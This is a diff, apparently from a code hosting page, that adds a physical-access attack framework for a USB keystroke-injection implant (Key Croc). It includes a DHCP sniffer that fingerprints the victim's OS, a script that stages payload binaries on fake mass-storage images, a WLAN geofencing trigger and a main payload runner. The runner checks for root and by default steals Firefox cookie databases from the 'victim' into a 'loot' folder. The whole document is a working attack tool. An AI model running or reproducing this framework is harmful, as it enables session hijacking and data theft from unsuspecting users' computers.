|
||||
from scapy.layers.dhcp import DHCP
|
||||
import os
|
||||
import atexit
|
||||
|
||||
fifo_in = "/root/pyrecv"
|
||||
fifo_out = "/root/bashrecv"
|
||||
|
||||
already_send = False
|
||||
|
||||
# remove a FIFO
|
||||
def remove_fifo(fifo):
|
||||
try:
|
||||
os.remove(fifo)
|
||||
except:
|
||||
print("remove FIFO error")
|
||||
|
||||
# send result (OS type) to the bash receive FIFO
|
||||
def send_result(result):
|
||||
global already_send
|
||||
|
||||
with open(fifo_out, "w") as fifo:
|
||||
fifo.write("os=" + result + "\n")
|
||||
|
||||
# result (identified OS) has already been send
|
||||
already_send = True
|
||||
|
||||
|
||||
# remove FIFO on exit
|
||||
def exit_handler():
|
||||
remove_fifo(fifo_in)
|
||||
|
||||
|
||||
# try to detect the OS by checking the DHCP request options
|
||||
def detectOS(options):
|
||||
|
||||
# Windows devices define the vendor_class_id
|
||||
if "vendor_class_id" in options:
|
||||
if "MSFT" in options["vendor_class_id"]:
|
||||
send_result("Windows")
|
||||
|
||||
# Ubuntu (also Kali Linux so probably all debian-based distros) does set option 2 and 17 in the parameter request list
|
||||
elif set([2, 12]).issubset(options["param_req_list"]):
|
||||
send_result("Linux")
|
||||
|
||||
# macOS does set option 95 in the parameter request list
|
||||
elif set([95]).issubset(options["param_req_list"]):
|
||||
send_result("Mac")
|
||||
|
||||
# if some devices do not set the given identifiers then the OS can not be determined
|
||||
else:
|
||||
send_result("Unknown")
|
||||
|
||||
|
||||
# check if packet is DHCP request / discover and if so add DHCP options to a easily parsable dictionary
|
||||
def dhcp_callback(pkt):
|
||||
if DHCP in pkt and (pkt[DHCP].options[0][1] == 3 or pkt[DHCP].options[0][1] == 1):
|
||||
|
||||
dhcp_options = pkt[DHCP].options
|
||||
option_list = {}
|
||||
|
||||
# iterate through all tuples
|
||||
for option in dhcp_options:
|
||||
|
||||
# check if we might to convert sth because it contains additional flags, length, etc.
|
||||
if isinstance(option[1], (bytes, bytearray)):
|
||||
|
||||
# only client name - remove leading length, flags, a-pr and ptr-ppr result
|
||||
if option[0] == "client_FQDN":
|
||||
option_list[option[0]] = option[1][3:].decode()
|
||||
|
||||
else:
|
||||
option_list[option[0]] = option[1].decode()
|
||||
else:
|
||||
option_list[option[0]] = option[1]
|
||||
|
||||
print(option_list)
|
||||
detectOS(option_list)
|
||||
|
||||
|
||||
# scapy stop function
|
||||
# stop sniffing if the host OS could have been identified
|
||||
# (OS type has already been send to the bash process)
|
||||
def check_already_send(x):
|
||||
global already_send
|
||||
|
||||
if already_send:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
# register exit handler to be able to remove the fifo
|
||||
atexit.register(exit_handler)
|
||||
|
||||
while True:
|
||||
|
||||
with open(fifo_in) as fifo:
|
||||
|
||||
for line in fifo:
|
||||
|
||||
if (line == "sniff"):
|
||||
|
||||
print("sniffing ...")
|
||||
|
||||
# sniff for DHCP packets for 5 secs
|
||||
# call dhcp_callback() if a DHCP packet has been found and analyze it
|
||||
# the identified OS will be send to the bash process via a FIFO (named pipe)
|
||||
# to prevent multiple sends (multiple DHCP packets!) and sniffing if the interface
|
||||
# is already down, after every packet it will be checked if the identified OS has already been send
|
||||
sniff(iface="usb0", filter="udp and (port 67 or 68)", timeout=5, prn=dhcp_callback, stop_filter=check_already_send)
|
||||
|
||||
# no valid DHCP packets have been found --> no result prior send
|
||||
# --> send "na" as feedback to the bash process
|
||||
if not already_send:
|
||||
print("after 5 secs: no valid DHCP packets found - will send 'na'")
|
||||
send_result("na")
|
||||
|
||||
# reset already_send
|
||||
already_send = False
|
||||
|
||||
print("stopped sniffing")
|
||||
|
||||
elif (line == "stop"):
|
||||
print("stopping ...")
|
||||
exit()
|
||||
|
|
@ -0,0 +1,121 @@
|
|||
#!/bin/bash
|
||||
|
||||
imagePath=/root/ums
|
||||
mountPath=/media
|
||||
payloadPath=/root/binaries
|
||||
|
||||
function createImages() {
|
||||
|
||||
label="sneaky"
|
||||
size=100
|
||||
|
||||
mkdir -p $imagePath
|
||||
|
||||
# FAT32 (default for != Ubuntu)
|
||||
echo "Creating FAT32 image ..."
|
||||
dd if=/dev/zero of=$imagePath/fat32.bin bs=1M count=$size
|
||||
mkdosfs $imagePath/fat32.bin
|
||||
fatlabel $imagePath/fat32.bin "$label"
|
||||
|
||||
# NTFS (needed for direct bin execution on e.g. Ubuntu)
|
||||
echo -e "\nCreating NTFS image ..."
|
||||
dd if=/dev/zero of=$imagePath/ntfs.bin bs=1M count=$size
|
||||
mkfs.ntfs -Q -v -F -L $label $imagePath/ntfs.bin
|
||||
|
||||
echo -e "\nImage creation done !"
|
||||
}
|
||||
|
||||
|
||||
function clearImage() {
|
||||
mkdir -p $mountPath
|
||||
echo "Clearing $1 ..."
|
||||
mount -o loop $1 $mountPath
|
||||
sleep 1
|
||||
# remove all files (incl. hidden files) from drive
|
||||
rm -r $mountPath/* 2>/dev/null
|
||||
rm -r $mountPath/.* 2>/dev/null
|
||||
umount $mountPath
|
||||
}
|
||||
|
||||
|
||||
function prepareImage() {
|
||||
mkdir -p $mountPath
|
||||
echo "Preparing $1 ..."
|
||||
mount -o loop $1 $mountPath
|
||||
sleep 1
|
||||
# remove all files (incl. hidden files) from drive
|
||||
rm -r $mountPath/* 2>/dev/null
|
||||
rm -r $mountPath/.* 2>/dev/null
|
||||
# copy payloads to the drive
|
||||
cp $payloadPath/* $mountPath
|
||||
umount $mountPath
|
||||
}
|
||||
|
||||
function clearAllImages() {
|
||||
|
||||
for f in $imagePath/*
|
||||
do
|
||||
clearImage $f
|
||||
done
|
||||
echo -e "\nClearing of all available images is done !"
|
||||
}
|
||||
|
||||
|
||||
function prepareAllImages() {
|
||||
|
||||
for f in $imagePath/*
|
||||
do
|
||||
prepareImage $f
|
||||
done
|
||||
echo -e "\nPreparing of all available images is done !"
|
||||
}
|
||||
|
||||
function mountImage() {
|
||||
mkdir -p $mountPath
|
||||
mount -o loop $1 $mountPath
|
||||
}
|
||||
|
||||
|
||||
# main
|
||||
case $1 in
|
||||
|
||||
create)
|
||||
createImages
|
||||
;;
|
||||
|
||||
clear)
|
||||
if [ ! -z "$2" ]
|
||||
then
|
||||
clearImage $2
|
||||
else
|
||||
echo "Image clear failed - path to file missing"
|
||||
fi
|
||||
;;
|
||||
|
||||
clearAll)
|
||||
clearAllImages
|
||||
;;
|
||||
|
||||
prepare)
|
||||
if [ ! -z "$2" ]
|
||||
then
|
||||
prepareImage $2
|
||||
else
|
||||
echo "Image prepare failed - path to file missing"
|
||||
fi
|
||||
;;
|
||||
|
||||
prepareAll)
|
||||
prepareAllImages
|
||||
;;
|
||||
|
||||
mount)
|
||||
if [ ! -z "$2" ]
|
||||
then
|
||||
mountImage $2
|
||||
else
|
||||
echo "Image mount failed - path to file missing"
|
||||
fi
|
||||
;;
|
||||
|
||||
esac
|
|
@ -0,0 +1,411 @@
|
|||
#!/bin/bash
|
||||
|
||||
################################################################################
|
||||
# configure detection (OS, layout and root) and payload
|
||||
################################################################################
|
||||
|
||||
# WLAN AP geofencing
|
||||
# set to 1 is active, 0 is deactivated
|
||||
# set the allowed / denied devices in the wlanFencing function
|
||||
doWlanFencing=0
|
||||
|
||||
# OS detection
|
||||
# if the string is empty then script will try to determine the OS
|
||||
# if an OS ("Windows", "Linux" or "Mac") is set the detection will be skipped
|
||||
# and the set element value will be used
|
||||
os=""
|
||||
|
||||
# Layout detection
|
||||
# keyboard layouts that should be tried
|
||||
# testing order is from left to right
|
||||
# if the array only contains one element the detection will be skipped
|
||||
# and the set element value will be used
|
||||
# if no value is set the default value ("us") will be used
|
||||
langs=( de us fr )
|
||||
# if the OS is Window (detected or the variable is set by the user)
|
||||
# the framework can use alt codes to force the host the use the 'us' layout
|
||||
# instead of trying to detect the used keyboard layout
|
||||
# set to 1 is active, 0 is deactivated
|
||||
# layouts in the langs array will be ignored in this case
|
||||
winForceUS=0
|
||||
|
||||
# Root / admin detection
|
||||
# check if higher rights can be get
|
||||
# set to 1 is active, 0 is deactivated
|
||||
rootCheck=1
|
||||
|
||||
|
||||
# Payload
|
||||
# if a custom DUCKY SCRIPT file should be used then set the variable
|
||||
# to the path of the file, e.g. "/root/udisk/library/stealCookies.sh"
|
||||
# compatible DUCKY SCRIPT files should be placed in "/root/udisk/library/"
|
||||
# "/root/udisk/library/template.sh" can be used as a template
|
||||
# just adjust the QUACK calls in the OS functions
|
||||
# if a binary should be executed then set the variable to "/root/udisk/library/payload-execute.sh"
|
||||
# binaries named "win.exe", "lin" and "mac" should be placed in "/root/binaries/"
|
||||
payload="/root/udisk/library/payload-execute.sh"
|
||||
#payload="/root/udisk/library/stealFirefoxCookies.sh"
|
||||
# for binaries optional command line arguments can be passed by setting cmdArgs
|
||||
# if not needed, set it to an empty string
|
||||
cmdArgs="cookies"
|
||||
# file that is created by the DUCKY SCRIPT or binary to detect if the execution is finished
|
||||
# needed if the type time != execution time
|
||||
# e.g. when copying large files
|
||||
# if not needed then set it to an empty string
|
||||
# the framework will go on will not wait for any created files
|
||||
doneFile="done.txt"
|
||||
# maxTries = max seconds to wait for completion of a given payload
|
||||
# if a payload takes longer than the specified seconds then the execution will be stopped
|
||||
maxTries=15
|
||||
# is root/ admin needed for the payload execution?
|
||||
# if set to 1 the script uses "sudo" as prefix or a "run as admin"-started terminal
|
||||
# if a root check has been done before, root is not available but needed the execution will be stopped
|
||||
needRoot=0
|
||||
# cp wildcard to extract files from the mass storage, comment out or set to empty string if not used
|
||||
# files will be copied to the "loot" location ("/root/udisk/loot")
|
||||
extractFiles="cookies[0-9]*.sqlite"
|
||||
|
||||
################################################################################
|
||||
|
||||
# DANGER ZONE
|
||||
# almost never needed to edit these variables
|
||||
# only change if you know what you're doing!
|
||||
|
||||
# paths (keep in sync with image-helper.sh!)
|
||||
imagePath=/root/ums
|
||||
mountPath=/media
|
||||
|
||||
# global vars
|
||||
# just for function access - do not edit
|
||||
rootAvailable=0
|
||||
|
||||
################################################################################
|
||||
|
||||
function cleanStop() {
|
||||
echo "$(date +"%T") : cleanup - resetting mass storage" >> /root/udisk/keyos-log.txt
|
||||
ATTACKMODE OFF
|
||||
echo "$(date +"%T") : cleanup - resetting $drive" >> /root/udisk/keyos-log.txt
|
||||
/root/scripts/image-helper.sh prepare $imagePath/$drive 2>>/root/udisk/keyos-log.txt
|
||||
echo "$(date +"%T") : cleanup - done" >> /root/udisk/keyos-log.txt
|
||||
}
|
||||
|
||||
function wlanFencing() {
|
||||
echo "$(date +"%T") : WLAN AP geofencing ..." >> /root/udisk/keyos-log.txt
|
||||
sleep 2
|
||||
# adjust to your needs
|
||||
# for detailed inforation about the cli syntax check the wlanFencing.py file
|
||||
/root/scripts/wlanFencing.py -a "<SSID>"
|
||||
if [ "$?" -eq "0" ]
|
||||
then
|
||||
echo "$(date +"%T") : WLAN AP geofencing - conditions met" >> /root/udisk/keyos-log.txt
|
||||
else
|
||||
echo "$(date +"%T") : WLAN AP geofencing failed - stopping" >> /root/udisk/keyos-log.txt
|
||||
LED FAIL
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
function detectOS() {
|
||||
|
||||
function readFifo() {
|
||||
|
||||
pipe=/root/bashrecv
|
||||
|
||||
while true
|
||||
do
|
||||
if read line <$pipe
|
||||
then
|
||||
|
||||
echo $line
|
||||
|
||||
if [[ "$line" == "os"* ]]
|
||||
then
|
||||
tmpOS=${line:3}
|
||||
break
|
||||
fi
|
||||
|
||||
fi
|
||||
done
|
||||
|
||||
rm -f $pipe
|
||||
|
||||
case $tmpOS in
|
||||
|
||||
"Windows" | "Linux" | "Mac" | "Unknown")
|
||||
#echo "$(date +"%T") : OS is Windows, Linux, Mac or Unknown" >> /root/udisk/keyos-log.txt
|
||||
os=$tmpOS
|
||||
;;
|
||||
|
||||
*)
|
||||
#echo "$(date +"%T") : no OS found" >> /root/udisk/keyos-log.txt
|
||||
;;
|
||||
esac
|
||||
}
|
||||
|
||||
pipe_py=/root/pyrecv
|
||||
if [[ ! -p $pipe_py ]]
|
||||
then
|
||||
mkfifo $pipe_py
|
||||
fi
|
||||
|
||||
/root/scripts/analyze-pcap.py 2>>/root/udisk/keyos-log.txt &
|
||||
ATTACKMODE RNDIS_ETHERNET
|
||||
|
||||
echo "$(date +"%T") : sniffing ..." >> /root/udisk/keyos-log.txt
|
||||
readFifo
|
||||
|
||||
# check if the OS could be identified
|
||||
if [[ ! -z $os ]]
|
||||
then
|
||||
echo "$(date +"%T") : analyzing successful" >> /root/udisk/keyos-log.txt
|
||||
echo -n "stop" > /root/pyrecv
|
||||
else
|
||||
echo "$(date +"%T") : no packets found - retrying sniffing ..." >> /root/udisk/keyos-log.txt
|
||||
ATTACKMODE ECM_ETHERNET
|
||||
readFifo
|
||||
|
||||
if [[ ! -z $os ]]
|
||||
then
|
||||
echo "$(date +"%T") : analyzing successful" >> /root/udisk/keyos-log.txt
|
||||
echo -n "stop" > /root/pyrecv
|
||||
else
|
||||
echo "$(date +"%T") : second analyzing try failed - stopping" >> /root/udisk/keyos-log.txt
|
||||
echo -n "stop" > /root/pyrecv
|
||||
# storage is untouched --> exit is enough
|
||||
LED FAIL
|
||||
exit 1
|
||||
fi
|
||||
|
||||
fi
|
||||
|
||||
|
||||
if echo $os | grep -q "Unknown"
|
||||
then
|
||||
echo "$(date +"%T") : could not detect the OS - stopping" >> /root/udisk/keyos-log.txt
|
||||
# storage is untouched --> exit is enough
|
||||
LED FAIL
|
||||
exit 1
|
||||
else
|
||||
echo "$(date +"%T") : detected OS: $os" >> /root/udisk/keyos-log.txt
|
||||
fi
|
||||
}
|
||||
|
||||
function mountDrive() {
|
||||
# adjust the drive so rwx does work ootb on all OS
|
||||
if [ $os = "Linux" ]
|
||||
then
|
||||
drive="ntfs.bin"
|
||||
else
|
||||
drive="fat32.bin"
|
||||
fi
|
||||
|
||||
# mount the correct drive depending on the OS
|
||||
echo "$(date +"%T") : mounting drive: $drive" >> /root/udisk/keyos-log.txt
|
||||
sed -i -r "s# file=[^[:space:]]+# file=$imagePath/$drive#g" /usr/local/croc/bin/ATTACKMODE
|
||||
ATTACKMODE HID STORAGE
|
||||
# reset device for mass storage (otherwise accessing the payload dir does not work anymore with a pin)
|
||||
sed -i -r "s# file=[^[:space:]]+# file=/dev/nandf#g" /usr/local/croc/bin/ATTACKMODE
|
||||
|
||||
# explorer spawns for the mounted drive
|
||||
# on Ubuntu it can happen that the first keyboard detection iteration gets skipped
|
||||
# a bit hacky because we do not exactly know, when the windows drive pop-up appears...
|
||||
if [ $os = "Windows" ]
|
||||
then
|
||||
sleep 5
|
||||
else
|
||||
sleep 3
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
function detectLayout() {
|
||||
for lang in "${langs[@]}"
|
||||
do
|
||||
export DUCKY_LANG=$lang
|
||||
echo "$(date +"%T") : trying language $DUCKY_LANG ..." >> /root/udisk/keyos-log.txt
|
||||
/root/udisk/library/keyboard.sh $os
|
||||
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
|
||||
|
||||
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
|
||||
if [ -f $mountPath/language.txt ]
|
||||
then
|
||||
echo "$(date +"%T") : keyboard language is $DUCKY_LANG" >> /root/udisk/keyos-log.txt
|
||||
umount $mountPath
|
||||
break
|
||||
fi
|
||||
|
||||
umount $mountPath
|
||||
# last language try and no success --> abort
|
||||
if [[ "$lang" == "${langs[-1]}" ]]
|
||||
then
|
||||
echo "$(date +"%T") : unknown keyboard language - stopping" >> /root/udisk/keyos-log.txt
|
||||
cleanStop
|
||||
LED FAIL
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
|
||||
function checkRoot() {
|
||||
echo "$(date +"%T") : root check enabled" >> /root/udisk/keyos-log.txt
|
||||
# run root-check
|
||||
/root/udisk/library/root-check.sh $os
|
||||
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
|
||||
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
|
||||
if [ -f $mountPath/root.txt ]
|
||||
then
|
||||
echo "$(date +"%T") : root available" >> /root/udisk/keyos-log.txt
|
||||
rootAvailable=1
|
||||
else
|
||||
echo "$(date +"%T") : root not available" >> /root/udisk/keyos-log.txt
|
||||
rootAvailable=0
|
||||
fi
|
||||
umount $mountPath
|
||||
}
|
||||
|
||||
function executePayload() {
|
||||
|
||||
# set cmd arguments (only for executable payload)
|
||||
if [ $payload = "/root/udisk/library/payload-execute.sh" ]
|
||||
then
|
||||
sed -i "s/cmdArgs='.*'/cmdArgs='$cmdArgs'/" $payload
|
||||
fi
|
||||
|
||||
# if we've checked root and do not have root then stop (because it will defintely not work)
|
||||
if [ -v rootAvailable ]
|
||||
then
|
||||
if [ $rootAvailable -eq 0 ] && [ $needRoot -eq 1 ]
|
||||
then
|
||||
echo "$(date +"%T") : stopping - reason: root not available" >> /root/udisk/keyos-log.txt
|
||||
cleanStop
|
||||
LED FAIL
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# execute DUCKYSCRIPT payload
|
||||
# if root needed then use "sudo"-prefix or a "run as admin"-started terminal
|
||||
# for the payload bin execution file
|
||||
$payload $os $needRoot
|
||||
|
||||
# if done file is set wait until the file has appeared / maxTries is reached
|
||||
if [ ! -z $doneFile ]
|
||||
then
|
||||
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
|
||||
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
|
||||
ls $mountPath | grep -q $doneFile
|
||||
foundFile=$?
|
||||
umount $mountPath
|
||||
|
||||
# check continuous if the payload is done
|
||||
iterations=0
|
||||
until [ "$foundFile" -eq "0" ]
|
||||
do
|
||||
echo "$(date +"%T") : waiting for payload feedback - iteration $iterations" >> /root/udisk/keyos-log.txt
|
||||
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
|
||||
#ls -lah $mountPath >> /root/udisk/keyos-log.txt # DEBUG
|
||||
ls $mountPath | grep -q $doneFile
|
||||
foundFile=$?
|
||||
umount $mountPath
|
||||
|
||||
# check if we have already waited more than wanted (default 15 seconds)
|
||||
# if so: stop and clean up (sth probably did not work)
|
||||
if (( iterations > maxTries ))
|
||||
then
|
||||
echo "$(date +"%T") : stopping - reason: waited more than $maxTries seconds for feedback" >> /root/udisk/keyos-log.txt
|
||||
cleanStop
|
||||
LED FAIL
|
||||
exit 1
|
||||
fi
|
||||
|
||||
sleep 1
|
||||
((iterations=iterations+1))
|
||||
done
|
||||
fi
|
||||
|
||||
echo "$(date +"%T") : payload execution is done" >> /root/udisk/keyos-log.txt
|
||||
}
|
||||
|
||||
function saveFiles() {
|
||||
mount -r -o loop $imagePath/$drive $mountPath 2>>/root/udisk/keyos-log.txt
|
||||
newFolderName=$(date +%Y-%m-%d_%H%M%S)
|
||||
mkdir /root/udisk/loot/$newFolderName
|
||||
cp $mountPath/$extractFiles /root/udisk/loot/$newFolderName 2>>/root/udisk/keyos-log.txt
|
||||
umount $mountPath
|
||||
}
|
||||
|
||||
|
||||
################################################################################
|
||||
# main
|
||||
################################################################################
|
||||
|
||||
ATTACKMODE OFF
|
||||
LED ATTACK
|
||||
cat /dev/null > /root/udisk/keyos-log.txt
|
||||
echo "$(date +"%T") : start" >> /root/udisk/keyos-log.txt
|
||||
|
||||
# WLAN AP geofencing
|
||||
# wait until WLAN APs are in range / out of range
|
||||
if [ $doWlanFencing -eq 1 ]
|
||||
then
|
||||
wlanFencing
|
||||
fi
|
||||
|
||||
# OS detection
|
||||
# try to detect the OS if an OS is not set
|
||||
if [[ -z $os ]]
|
||||
then
|
||||
detectOS
|
||||
fi
|
||||
|
||||
# mount the UMS (mass storage) on the host (victim) and on the croc
|
||||
mountDrive
|
||||
|
||||
# layout detection
|
||||
# use altcode mode if activated and OS is Windows (detected or set)
|
||||
if [ $winForceUS -eq 1 ] && [ $os = "Windows" ]
|
||||
then
|
||||
echo "$(date +"%T") : altcode mode - will force to use the 'us' layout" >> /root/udisk/keyos-log.txt
|
||||
/root/udisk/library/keyboard-altcode.sh $os
|
||||
else
|
||||
# take a look at the langs array
|
||||
# detection method only enabled if more than one language is set
|
||||
# otherwise use set single language or the Key Croc default ("us")
|
||||
if [ ${#langs[@]} -eq 1 ]
|
||||
then
|
||||
echo "$(date +"%T") : single layout set to ${langs[0]}" >> /root/udisk/keyos-log.txt
|
||||
export DUCKY_LANG=${langs[0]}
|
||||
elif [ ${#langs[@]} -gt 1 ]
|
||||
then
|
||||
echo "$(date +"%T") : layout detection ..." >> /root/udisk/keyos-log.txt
|
||||
detectLayout
|
||||
else
|
||||
echo "$(date +"%T") : no layout set, using default" >> /root/udisk/keyos-log.txt
|
||||
fi
|
||||
fi
|
||||
|
||||
# root check
|
||||
if [ $rootCheck -eq 1 ]
|
||||
then
|
||||
checkRoot
|
||||
fi
|
||||
|
||||
# payload execution
|
||||
echo "$(date +"%T") : executing payload" >> /root/udisk/keyos-log.txt
|
||||
executePayload
|
||||
|
||||
# file saving
|
||||
if ! test -z "$extractFiles"
|
||||
then
|
||||
# try to backup copied places data (from victim) if there are any
|
||||
# in a newly created folder (y-m-d_hms)
|
||||
echo "$(date +"%T") : extracting files from mass storage" >> /root/udisk/keyos-log.txt
|
||||
saveFiles
|
||||
cleanStop
|
||||
else
|
||||
cleanStop
|
||||
fi
|
||||
|
||||
echo "$(date +"%T") : execution and clearing done" >> /root/udisk/keyos-log.txt
|
||||
LED FINISH
|
|
@ -0,0 +1,152 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
import argparse
|
||||
import subprocess
|
||||
from time import sleep
|
||||
|
||||
|
||||
# execute a passed shell-command via subprocess
|
||||
def shell(cmd):
|
||||
try:
|
||||
process = subprocess.check_output(cmd, shell=True, stderr=subprocess.DEVNULL)
|
||||
return process
|
||||
except subprocess.CalledProcessError as err:
|
||||
print(err)
|
||||
return False
|
||||
|
||||
|
||||
# scan for WLAN access points in the range and return result
|
||||
def scan_aps(interface):
|
||||
scan_result = shell("iw dev {} scan | grep SSID | awk '{{ print substr($0, index($0,$2)) }}'".format(interface))
|
||||
wlan_aps_list = []
|
||||
|
||||
# scanning to often can result in "device is busy"-errors
|
||||
if scan_result:
|
||||
wlan_aps_list = scan_result.decode("utf-8").split("\n")
|
||||
|
||||
return wlan_aps_list
|
||||
|
||||
|
||||
# check if WLAN interface exists and is up, try to start if down
|
||||
def prepare_interface(interface):
|
||||
output = shell("cat /sys/class/net/{}/flags".format(interface))
|
||||
|
||||
if output:
|
||||
# 0x1002 is down, 0x1003 is up
|
||||
if "0x1003" in output.decode("utf-8"):
|
||||
return True
|
||||
else:
|
||||
# try to start interface
|
||||
print("interface is down - starting ...")
|
||||
shell("ifconfig {} up".format(interface))
|
||||
sleep(1)
|
||||
return True
|
||||
else:
|
||||
# device does not exist
|
||||
return False
|
||||
|
||||
|
||||
# check if scanned aps_list does not contain any denylisted AP entries
|
||||
def denylist_check(denylist, wlan_aps_list):
|
||||
found_denied = False
|
||||
|
||||
for rule in denylist:
|
||||
if set(rule).issubset(set(wlan_aps_list)):
|
||||
found_denied = True
|
||||
break
|
||||
|
||||
return found_denied
|
||||
|
||||
|
||||
# check if scanned aps_list does contain any allowlisted AP entries
|
||||
def allowlist_check(allowlist, wlan_aps_list):
|
||||
found_allowed = False
|
||||
|
||||
for rule in allowlist:
|
||||
if (rule[0] == "*") or set(rule).issubset(set(wlan_aps_list)):
|
||||
found_allowed = True
|
||||
break
|
||||
|
||||
return found_allowed
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
# ----------------------------------------------
|
||||
|
||||
## syntax examples for -a / -d
|
||||
|
||||
# ./wlanFencing.py -a "AP1" -a "AP2"
|
||||
# --> AP1 or AP2
|
||||
|
||||
# ./wlanFencing.py -a "AP1" "AP2"
|
||||
# --> AP1 and AP2
|
||||
|
||||
# ./wlanFencing.py -a "AP1" "AP2" -a "AP3"
|
||||
# --> (AP1 and AP2) or AP3
|
||||
|
||||
# ----------------------------------------------
|
||||
|
||||
## real world examples
|
||||
|
||||
# continue if AP1 is present
|
||||
# ./wlanFencing.py -a "AP1"
|
||||
|
||||
# continue if AP1 and AP2 are present
|
||||
# ./wlanFencing.py -a "AP1" "AP2"
|
||||
|
||||
# continue if AP1 is absent
|
||||
# ./wlanFencing.py -a "*" -d "AP1"
|
||||
|
||||
# continue if AP1 and AP2 are absent
|
||||
# ./wlanFencing.py -a "*" -d "AP1" "AP2"
|
||||
|
||||
# ----------------------------------------------
|
||||
|
||||
parser = argparse.ArgumentParser(prog='wlan_fencing', description='check if WLAN APs are in the range')
|
||||
parser.add_argument("-a", "--allow_ap", nargs="+", action='append', help="SSID(s) of the AP(s) that have to be present")
|
||||
parser.add_argument("-d", "--deny_ap", nargs="+", action='append', help="SSID(s) of the AP(s) that have to be absent")
|
||||
parser.add_argument("-t", "--timeout", help="exit(1) after 30 seconds", action="store_true")
|
||||
|
||||
args = parser.parse_args()
|
||||
timeout = args.timeout
|
||||
|
||||
allowlist = args.allow_ap if (args.allow_ap) else []
|
||||
denylist = args.deny_ap if (args.deny_ap) else []
|
||||
|
||||
print("Allow:", allowlist)
|
||||
print("Deny:", denylist, "\n")
|
||||
|
||||
# default values
|
||||
interface = "wlan0"
|
||||
sleep_seconds = 2
|
||||
max_tries = 15
|
||||
iterations = 0
|
||||
|
||||
if not prepare_interface(interface):
|
||||
print("WLAN interface does not exist or failed to start - stopping.")
|
||||
exit(1)
|
||||
|
||||
while True:
|
||||
|
||||
wlan_aps_list = scan_aps(interface)
|
||||
|
||||
# wlan_aps_list contains at least one element
|
||||
if len(wlan_aps_list) != 0:
|
||||
|
||||
print(wlan_aps_list)
|
||||
|
||||
if not denylist_check(denylist, wlan_aps_list):
|
||||
print("[+] no bad device [+]\n")
|
||||
if allowlist_check(allowlist, wlan_aps_list):
|
||||
print("A device is found, no denylisted device found.")
|
||||
exit(0)
|
||||
|
||||
# exit if waited longer than max_tries
|
||||
if timeout and (iterations >= max_tries):
|
||||
print("Max tries reached - stopping.")
|
||||
exit(1)
|
||||
|
||||
sleep(sleep_seconds)
|
||||
iterations += 1
|
Loading…
Reference in New Issue